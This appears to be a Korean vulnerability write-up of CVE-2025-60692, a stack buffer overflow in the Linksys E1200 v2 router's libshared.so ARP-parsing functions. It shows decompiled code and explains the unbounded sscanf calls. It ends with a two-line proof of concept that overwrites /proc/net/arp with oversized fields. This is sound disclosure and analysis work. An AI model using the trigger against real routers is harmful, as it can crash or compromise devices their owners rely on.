[하루한줄] CVE-2025-60692: Cisco Linksys E1200 v2의 Buffer over flow로 인한 RCE 취약점

URL

Target

  • Cisco Linksys E1200 v2
  • Firmware: E1200_v2.0.11.001_us

Explain

CVE-2025-60692는 Cisco 사의 Linksys E1200 라우터의 libshared.so 라이브러리에서 발생한 Stack-Based Buffer Overflow 취약점입니다.

해당 취약점은 httpd 바이너리에서 취약한 라이브러리 함수인 get_mac_from_ip(), get_ip_from_mac() 를 호출하면서 발생하게 됩니다.

httpd

int __fastcall main(int argc, const char **argv, const char **envp)
{
    int listen4_fd;
    int conn_fd;
    struct sockaddr client_addr;
    socklen_t addr_len;

    /* --- socket initialization / SSL setup / daemonize --- */

    while (1) {
        /* IPv4 socket accept */
        conn_fd = accept(listen4_fd, &client_addr, &addr_len);
        if (conn_fd < 0)
            continue;
        settimeouts(conn_fd, timeout_secs);

        /* 취약 경로 진입 */
        get_client_ip_mac(conn_fd, &client_addr);

        fdopen(conn_fd, "r+");
        ...
    }
}
FILE *__fastcall get_client_ip_mac(int fd, struct sockaddr *addr)
{
    int family;
    char ip_str[46];

    family = *(unsigned short *)addr;

    /* IPv4 */
    if (family == AF_INET) {
        inet_ntop(AF_INET, addr + 1, ip_str, sizeof(ip_str));

        if (!nvram_get("http_client_ip") ||
            strcmp(nvram_get("http_client_ip"), ip_str)) {
            nvram_set("http_client_ip", ip_str);
        }

        /* 취약 함수 호출 */
        const char *mac = get_mac_from_ip(ip_str);

        if (!nvram_get("http_client_mac") ||
            strcmp(nvram_get("http_client_mac"), mac)) {
            nvram_set("http_client_mac", mac);
        }

        use_lan = legal_ip_netmask(...);
        return ...;
    }
}

main 함수에서 client와 연결을 맺어 Accept()가 호출되면 get_client_ip_mac 함수를 호출하고, 내부에서 취약한 함수인 get_mac_from_ip() 를 호출하게 됩니다.

libshared.so

char *__fastcall get_mac_from_ip(const char *ip)
{
    FILE *fp;
    char v6[50];     // IP field
    char v7[150];    // MAC + padding
    char line[104];  // fgets buffer
    char flags1;
    char flags2;

    fp = fopen("/proc/net/arp", "r");
    if (!fp)
        return NULL;
		
    if (fgets(line, 100, fp)) {
        while (fgets(line, 100, fp)) {
        // VULNERABILITY : Buffer Over Flow
            if (sscanf(
                    line,
                    "%s 0x%x 0x%x %100s %100s %100s\n",
                    v6,          
                    &flags1,
                    &flags2,
                    v7,
                    &v7[50],
                    &v7[100]
                ) == 6 &&
                !strcmp(ip, v6)) {

                strcpy(mac_7685, v7);
                fclose(fp);
                return mac_7685;
            }
        }
    }

    fclose(fp);
    return default_mac;
}

이후 libshared.so 라이브러리에 포함된 get_mac_from_ip(), get_ip_from_mac()/proc/net/arp 파일을 파싱하는 과정에서 입력 길이에 대한 검증 없이 sscanf()를 사용합니다.

if (sscanf(line, "%s 0x%x 0x%x %100s %100s %100s\n",
                    v6,          
                    &flags1,
                    &flags2,
                    v7,
                    &v7[50],
                    &v7[100]
                )

v6 버퍼는 크기가 50바이트임에도 %s에 대한 길이 제한이 없으며, v7 역시 150바이트 버퍼에 대해 최대 300바이트까지 쓰기 가능하도록 분할되어 있어 Stack-Based Buffer Overflow가 발생합니다.

공격자가 /proc/net/arp 내용을 제어할 수 있는 환경(로컬 접근 또는 파일시스템 조작)이면 함수 호출 시 스택 메모리 손상이 발생하며, 이는 DOS 혹은 RCE로 이어질 수 있습니다.

Proof of Concept

공개된 POC 코드는 다음과 같습니다.

echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 0x1 0x2 BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB 0x0 0x0" > /tmp/fake_arp
mount --bind /tmp/fake_arp /proc/net/arp

Reference